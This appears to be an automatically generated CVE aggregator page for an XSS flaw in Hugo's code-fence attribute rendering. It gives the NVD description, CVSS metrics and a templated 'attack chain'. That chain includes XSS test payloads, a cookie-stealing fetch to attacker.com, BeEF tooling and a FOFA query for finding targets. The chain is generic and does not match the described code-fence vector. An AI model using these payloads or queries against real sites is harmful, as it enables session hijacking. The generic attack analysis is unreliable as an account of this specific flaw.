CVE Professor
›
Back
CVE-2026-10618

CVE-2026-10618 — Gohugo Hugo (tüm Sürümler) — CWE-79

MEDIUM CVSS 5.4 NVD

CVE-2026-10618 is a MEDIUM severity Cross-Site Scripting (XSS) vulnerability (CWE-79) (CVSS 5.4/10) affecting Gohugo Hugo (tüm Sürümler). Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) requiring user interaction, triggering a scope change (S:C) across connected components and posing a direct security risk to affected deployments.

📄 Official NVD / MITRE Original Record Text

Hugo's default fenced-code-block renderer writes attribute values taken from the code-fence info string into the rendered HTML without escaping them. New in markup/internal/attributes/attributes.go converts every attribute value from a byte slice to a string as it is stored, deliberately dropping the escaping that used to happen there, and RenderAttributes in the same file escapes only values that are still byte slices, so its escaping branch is never reached and every value is written verbatim. The function's documentation states that it performs HTML escaping of string attributes, which it does not. A quote inside an attribute value in the info string therefore terminates the attribute and allows a further attribute, including an event handler, to be placed on the wrapper element, and the script runs for every visitor who loads the page. This path is reached under the default configuration, with code fences enabled and without goldmark's unsafe setting or any custom render hook. Attribute names beginning with on are filtered when the attributes are parsed, so injection is achieved through the value rather than the name.

Published 24.08.2026
ISO Date 2026-08-24
CVSS Version v3.1
Source NVD
CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction Required UI:R
Scope Changed S:C
Confidentiality Low C:L
Integrity Low I:L
Availability None A:N
AI Security Analysis & Remediation
🤖 Generating Deep AI Security Analysis…
Analyzing CVSS vector & CWE weakness structure…

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-10618
CVSS 5.4/10 · MEDIUM · 24.08.2026
CWE: CWE-79
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 WHAT IS THIS VULNERABILITY?
Cross-Site Scripting (XSS)
Summary: Hugo's default fenced-code-block renderer writes attribute values taken from the code-fence info string into the rendered HTML without escaping them. New in markup/internal/attributes/attributes.go converts every attribute value from a byte slice to a string as it is stored, deliberately dropping the escaping that used to happen there, and RenderAttributes in the same file escapes only values t…
Affected: gohugo:hugo

⚡ ATTACK CHAIN
Attack steps:
1. Identify reflection points (search, comments, profile fields).
2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>
3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)
4. Stored XSS: inject persistent payload in user-controlled fields.
5. Browser exploitation via BeEF.

🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)

🌍 REAL WORLD IMPACT
Pivot to other systems possible.

🛡️ REMEDIATION
→ Apply vendor security update for gohugo:hugo.
→ Add CSP headers, HTML-encode all user input.
→ Add WAF rule, create IDS alert for anomalous traffic.

⚠️ URGENCY
📋 Routine update cycle (30 days)

────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="gohugo hugo"
CVSS Score
5.4 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-79
Affected Products (1)
gohugo:hugo (tüm sürümler)
Related CVEs
9.8
CVE-2026-130735
Grav from 2.0.0 before 2.2.18 contains a Twig injection vulnerability that allows media-only accounts and anon
9.8
CVE-2026-73969
AnsibleForms is a self-hosted web application that turns automation into self-service forms. Prior to 6.2.1, A
9.6
CVE-2026-130680
SiYuan from 3.3.0 before 3.8.10 contains a stored cross-site scripting vulnerability that allows attackers to
9.4
CVE-2026-130681
SiYuan before 3.8.10 contains a stored cross-site scripting vulnerability, an incomplete fix for CVE-2026-4467
9.4
CVE-2026-130678
SiYuan before 3.8.10 contains a stored cross-site scripting vulnerability that allows attackers to execute scr
9.4
CVE-2026-130679
SiYuan before 3.8.10 contains a stored cross-site scripting vulnerability in genAVValueHTML() that allows atta